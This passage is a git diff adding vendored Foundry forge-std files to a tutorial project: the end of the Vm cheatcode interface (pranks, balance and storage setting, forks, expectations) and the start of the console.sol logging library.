+    /// replays all transaction mined in the block before the transaction, returns the identifier of the fork.
+    function createSelectFork(string calldata urlOrAlias, bytes32 txHash) external returns (uint256 forkId);
+
+    /// Sets an address' balance.
+    function deal(address account, uint256 newBalance) external;
+
+    /// Removes the snapshot with the given ID created by `snapshot`.
+    /// Takes the snapshot ID to delete.
+    /// Returns `true` if the snapshot was successfully deleted.
+    /// Returns `false` if the snapshot does not exist.
+    function deleteSnapshot(uint256 snapshotId) external returns (bool success);
+
+    /// Removes _all_ snapshots previously created by `snapshot`.
+    function deleteSnapshots() external;
+
+    /// Sets `block.difficulty`.
+    /// Not available on EVM versions from Paris onwards. Use `prevrandao` instead.
+    /// Reverts if used on unsupported EVM versions.
+    function difficulty(uint256 newDifficulty) external;
+
+    /// Dump a genesis JSON file's `allocs` to disk.
+    function dumpState(string calldata pathToStateJson) external;
+
+    /// Sets an address' code.
+    function etch(address target, bytes calldata newRuntimeBytecode) external;
+
+    /// Sets `block.basefee`.
+    function fee(uint256 newBasefee) external;
+
+    /// Returns true if the account is marked as persistent.
+    function isPersistent(address account) external view returns (bool persistent);
+
+    /// Load a genesis JSON file's `allocs` into the in-memory revm state.
+    function loadAllocs(string calldata pathToAllocsJson) external;
+
+    /// Marks that the account(s) should use persistent storage across fork swaps in a multifork setup
+    /// Meaning, changes made to the state of this account will be kept when switching forks.
+    function makePersistent(address account) external;
+
+    /// See `makePersistent(address)`.
+    function makePersistent(address account0, address account1) external;
+
+    /// See `makePersistent(address)`.
+    function makePersistent(address account0, address account1, address account2) external;
+
+    /// See `makePersistent(address)`.
+    function makePersistent(address[] calldata accounts) external;
+
+    /// Reverts a call to an address with specified revert data.
+    function mockCallRevert(address callee, bytes calldata data, bytes calldata revertData) external;
+
+    /// Reverts a call to an address with a specific `msg.value`, with specified revert data.
+    function mockCallRevert(address callee, uint256 msgValue, bytes calldata data, bytes calldata revertData) external;
+
+    /// Mocks a call to an address, returning specified data.
+    /// Calldata can either be strict or a partial match, e.g. if you only
+    /// pass a Solidity selector to the expected calldata, then the entire Solidity
+    /// function will be mocked.
+    function mockCall(address callee, bytes calldata data, bytes calldata returnData) external;
+
+    /// Mocks a call to an address with a specific `msg.value`, returning specified data.
+    /// Calldata match takes precedence over `msg.value` in case of ambiguity.
+    function mockCall(address callee, uint256 msgValue, bytes calldata data, bytes calldata returnData) external;
+
+    /// Sets the *next* call's `msg.sender` to be the input address.
+    function prank(address msgSender) external;
+
+    /// Sets the *next* call's `msg.sender` to be the input address, and the `tx.origin` to be the second input.
+    function prank(address msgSender, address txOrigin) external;
+
+    /// Sets `block.prevrandao`.
+    /// Not available on EVM versions before Paris. Use `difficulty` instead.
+    /// If used on unsupported EVM versions it will revert.
+    function prevrandao(bytes32 newPrevrandao) external;
+
+    /// Reads the current `msg.sender` and `tx.origin` from state and reports if there is any active caller modification.
+    function readCallers() external returns (CallerMode callerMode, address msgSender, address txOrigin);
+
+    /// Resets the nonce of an account to 0 for EOAs and 1 for contract accounts.
+    function resetNonce(address account) external;
+
+    /// Revert the state of the EVM to a previous snapshot
+    /// Takes the snapshot ID to revert to.
+    /// Returns `true` if the snapshot was successfully reverted.
+    /// Returns `false` if the snapshot does not exist.
+    /// **Note:** This does not automatically delete the snapshot. To delete the snapshot use `deleteSnapshot`.
+    function revertTo(uint256 snapshotId) external returns (bool success);
+
+    /// Revert the state of the EVM to a previous snapshot and automatically deletes the snapshots
+    /// Takes the snapshot ID to revert to.
+    /// Returns `true` if the snapshot was successfully reverted and deleted.
+    /// Returns `false` if the snapshot does not exist.
+    function revertToAndDelete(uint256 snapshotId) external returns (bool success);
+
+    /// Revokes persistent status from the address, previously added via `makePersistent`.
+    function revokePersistent(address account) external;
+
+    /// See `revokePersistent(address)`.
+    function revokePersistent(address[] calldata accounts) external;
+
+    /// Sets `block.height`.
+    function roll(uint256 newHeight) external;
+
+    /// Updates the currently active fork to given block number
+    /// This is similar to `roll` but for the currently active fork.
+    function rollFork(uint256 blockNumber) external;
+
+    /// Updates the currently active fork to given transaction. This will `rollFork` with the number
+    /// of the block the transaction was mined in and replays all transaction mined before it in the block.
+    function rollFork(bytes32 txHash) external;
+
+    /// Updates the given fork to given block number.
+    function rollFork(uint256 forkId, uint256 blockNumber) external;
+
+    /// Updates the given fork to block number of the given transaction and replays all transaction mined before it in the block.
+    function rollFork(uint256 forkId, bytes32 txHash) external;
+
+    /// Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
+    function selectFork(uint256 forkId) external;
+
+    /// Sets the nonce of an account. Must be higher than the current nonce of the account.
+    function setNonce(address account, uint64 newNonce) external;
+
+    /// Sets the nonce of an account to an arbitrary value.
+    function setNonceUnsafe(address account, uint64 newNonce) external;
+
+    /// Snapshot the current state of the evm.
+    /// Returns the ID of the snapshot that was created.
+    /// To revert a snapshot use `revertTo`.
+    function snapshot() external returns (uint256 snapshotId);
+
+    /// Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called.
+    function startPrank(address msgSender) external;
+
+    /// Sets all subsequent calls' `msg.sender` to be the input address until `stopPrank` is called, and the `tx.origin` to be the second input.
+    function startPrank(address msgSender, address txOrigin) external;
+
+    /// Resets subsequent calls' `msg.sender` to be `address(this)`.
+    function stopPrank() external;
+
+    /// Stores a value to an address' storage slot.
+    function store(address target, bytes32 slot, bytes32 value) external;
+
+    /// Fetches the given transaction from the active fork and executes it on the current state.
+    function transact(bytes32 txHash) external;
+
+    /// Fetches the given transaction from the given fork and executes it on the current state.
+    function transact(uint256 forkId, bytes32 txHash) external;
+
+    /// Sets `tx.gasprice`.
+    function txGasPrice(uint256 newGasPrice) external;
+
+    /// Sets `block.timestamp`.
+    function warp(uint256 newTimestamp) external;
+
+    // ======== Testing ========
+
+    /// Expect a call to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas.
+    function expectCallMinGas(address callee, uint256 msgValue, uint64 minGas, bytes calldata data) external;
+
+    /// Expect given number of calls to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas.
+    function expectCallMinGas(address callee, uint256 msgValue, uint64 minGas, bytes calldata data, uint64 count) external;
+
+    /// Expects a call to an address with the specified calldata.
+    /// Calldata can either be a strict or a partial match.
+    function expectCall(address callee, bytes calldata data) external;
+
+    /// Expects given number of calls to an address with the specified calldata.
+    function expectCall(address callee, bytes calldata data, uint64 count) external;
+
+    /// Expects a call to an address with the specified `msg.value` and calldata.
+    function expectCall(address callee, uint256 msgValue, bytes calldata data) external;
+
+    /// Expects given number of calls to an address with the specified `msg.value` and calldata.
+    function expectCall(address callee, uint256 msgValue, bytes calldata data, uint64 count) external;
+
+    /// Expect a call to an address with the specified `msg.value`, gas, and calldata.
+    function expectCall(address callee, uint256 msgValue, uint64 gas, bytes calldata data) external;
+
+    /// Expects given number of calls to an address with the specified `msg.value`, gas, and calldata.
+    function expectCall(address callee, uint256 msgValue, uint64 gas, bytes calldata data, uint64 count) external;
+
+    /// Prepare an expected log with (bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData.).
+    /// Call this function, then emit an event, then call a function. Internally after the call, we check if
+    /// logs were emitted in the expected order with the expected topics and data (as specified by the booleans).
+    function expectEmit(bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData) external;
+
+    /// Same as the previous method, but also checks supplied address against emitting contract.
+    function expectEmit(bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData, address emitter) external;
+
+    /// Prepare an expected log with all topic and data checks enabled.
+    /// Call this function, then emit an event, then call a function. Internally after the call, we check if
+    /// logs were emitted in the expected order with the expected topics and data.
+    function expectEmit() external;
+
+    /// Same as the previous method, but also checks supplied address against emitting contract.
+    function expectEmit(address emitter) external;
+
+    /// Expects an error on next call with any revert data.
+    function expectRevert() external;
+
+    /// Expects an error on next call that starts with the revert data.
+    function expectRevert(bytes4 revertData) external;
+
+    /// Expects an error on next call that exactly matches the revert data.
+    function expectRevert(bytes calldata revertData) external;
+
+    /// Only allows memory writes to offsets [0x00, 0x60) ∪ [min, max) in the current subcontext. If any other
+    /// memory is written to, the test will fail. Can be called multiple times to add more ranges to the set.
+    function expectSafeMemory(uint64 min, uint64 max) external;
+
+    /// Only allows memory writes to offsets [0x00, 0x60) ∪ [min, max) in the next created subcontext.
+    /// If any other memory is written to, the test will fail. Can be called multiple times to add more ranges
+    /// to the set.
+    function expectSafeMemoryCall(uint64 min, uint64 max) external;
+
+    /// Marks a test as skipped. Must be called at the top of the test.
+    function skip(bool skipTest) external;
+
+    /// Stops all safe memory expectation in the current subcontext.
+    function stopExpectSafeMemory() external;
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/console.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/console.sol
new file mode 100644
index 000000000..3c6f13361
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/console.sol
@@ -0,0 +1,1532 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.4.22 <0.9.0;
+
+library console {
+    address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
+
+    function _sendLogPayload(bytes memory payload) private view {
+        uint256 payloadLength = payload.length;
+        address consoleAddress = CONSOLE_ADDRESS;
+        /// @solidity memory-safe-assembly
+        assembly {
+            let payloadStart := add(payload, 32)
+            let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
+        }
+    }
+
+    function log() internal view {
+        _sendLogPayload(abi.encodeWithSignature('log()'));
+    }
+
+    function logInt(int p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(int)', p0));
+    }
+
+    function logUint(uint p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint)', p0));
+    }
+
+    function logString(string memory p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string)', p0));
+    }
+
+    function logBool(bool p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool)', p0));
+    }
+
+    function logAddress(address p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address)', p0));
+    }
+
+    function logBytes(bytes memory p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes)', p0));
+    }
+
+    function logBytes1(bytes1 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes1)', p0));
+    }
+
+    function logBytes2(bytes2 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes2)', p0));
+    }
+
+    function logBytes3(bytes3 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes3)', p0));
+    }
+
+    function logBytes4(bytes4 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes4)', p0));
+    }
+
+    function logBytes5(bytes5 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes5)', p0));
+    }
+
+    function logBytes6(bytes6 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes6)', p0));
+    }
+
+    function logBytes7(bytes7 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes7)', p0));
+    }
+
+    function logBytes8(bytes8 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes8)', p0));
+    }
+
+    function logBytes9(bytes9 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes9)', p0));
+    }
+
+    function logBytes10(bytes10 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes10)', p0));
+    }
+
+    function logBytes11(bytes11 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes11)', p0));
+    }
+
+    function logBytes12(bytes12 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes12)', p0));
+    }
+
+    function logBytes13(bytes13 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes13)', p0));
+    }
+
+    function logBytes14(bytes14 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes14)', p0));
+    }
+
+    function logBytes15(bytes15 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes15)', p0));
+    }
+
+    function logBytes16(bytes16 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes16)', p0));
+    }
+
+    function logBytes17(bytes17 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes17)', p0));
+    }
+
+    function logBytes18(bytes18 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes18)', p0));
+    }
+
+    function logBytes19(bytes19 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes19)', p0));
+    }
+
+    function logBytes20(bytes20 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes20)', p0));
+    }
+
+    function logBytes21(bytes21 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes21)', p0));
+    }
+
+    function logBytes22(bytes22 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes22)', p0));
+    }
+
+    function logBytes23(bytes23 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes23)', p0));
+    }
+
+    function logBytes24(bytes24 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes24)', p0));
+    }
+
+    function logBytes25(bytes25 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes25)', p0));
+    }
+
+    function logBytes26(bytes26 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes26)', p0));
+    }
+
+    function logBytes27(bytes27 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes27)', p0));
+    }
+
+    function logBytes28(bytes28 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes28)', p0));
+    }
+
+    function logBytes29(bytes29 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes29)', p0));
+    }
+
+    function logBytes30(bytes30 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes30)', p0));
+    }
+
+    function logBytes31(bytes31 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes31)', p0));
+    }
+
+    function logBytes32(bytes32 p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bytes32)', p0));
+    }
+
+    function log(uint p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint)', p0));
+    }
+
+    function log(string memory p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string)', p0));
+    }
+
+    function log(bool p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool)', p0));
+    }
+
+    function log(address p0) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address)', p0));
+    }
+
+    function log(uint p0, uint p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint)', p0, p1));
+    }
+
+    function log(uint p0, string memory p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string)', p0, p1));
+    }
+
+    function log(uint p0, bool p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool)', p0, p1));
+    }
+
+    function log(uint p0, address p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address)', p0, p1));
+    }
+
+    function log(string memory p0, uint p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint)', p0, p1));
+    }
+
+    function log(string memory p0, string memory p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string)', p0, p1));
+    }
+
+    function log(string memory p0, bool p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool)', p0, p1));
+    }
+
+    function log(string memory p0, address p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address)', p0, p1));
+    }
+
+    function log(bool p0, uint p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint)', p0, p1));
+    }
+
+    function log(bool p0, string memory p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string)', p0, p1));
+    }
+
+    function log(bool p0, bool p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool)', p0, p1));
+    }
+
+    function log(bool p0, address p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address)', p0, p1));
+    }
+
+    function log(address p0, uint p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint)', p0, p1));
+    }
+
+    function log(address p0, string memory p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string)', p0, p1));
+    }
+
+    function log(address p0, bool p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool)', p0, p1));
+    }
+
+    function log(address p0, address p1) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address)', p0, p1));
+    }
+
+    function log(uint p0, uint p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,uint)', p0, p1, p2));
+    }
+
+    function log(uint p0, uint p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,string)', p0, p1, p2));
+    }
+
+    function log(uint p0, uint p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,bool)', p0, p1, p2));
+    }
+
+    function log(uint p0, uint p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,address)', p0, p1, p2));
+    }
+
+    function log(uint p0, string memory p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,uint)', p0, p1, p2));
+    }
+
+    function log(uint p0, string memory p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,string)', p0, p1, p2));
+    }
+
+    function log(uint p0, string memory p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,bool)', p0, p1, p2));
+    }
+
+    function log(uint p0, string memory p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,address)', p0, p1, p2));
+    }
+
+    function log(uint p0, bool p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,uint)', p0, p1, p2));
+    }
+
+    function log(uint p0, bool p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,string)', p0, p1, p2));
+    }
+
+    function log(uint p0, bool p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,bool)', p0, p1, p2));
+    }
+
+    function log(uint p0, bool p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,address)', p0, p1, p2));
+    }
+
+    function log(uint p0, address p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,uint)', p0, p1, p2));
+    }
+
+    function log(uint p0, address p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,string)', p0, p1, p2));
+    }
+
+    function log(uint p0, address p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,bool)', p0, p1, p2));
+    }
+
+    function log(uint p0, address p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,uint)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, uint p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, string memory p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, bool p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool)', p0, p1, p2));
+    }
+
+    function log(string memory p0, address p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,uint)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, uint p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, string memory p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, bool p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool)', p0, p1, p2));
+    }
+
+    function log(bool p0, address p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address)', p0, p1, p2));
+    }
+
+    function log(address p0, uint p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,uint)', p0, p1, p2));
+    }
+
+    function log(address p0, uint p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,string)', p0, p1, p2));
+    }
+
+    function log(address p0, uint p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, uint p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,address)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, string memory p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, bool p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, uint p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, string memory p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, bool p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool)', p0, p1, p2));
+    }
+
+    function log(address p0, address p1, address p2) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address)', p0, p1, p2));
+    }
+
+    function log(uint p0, uint p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, uint p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,uint,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,string,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
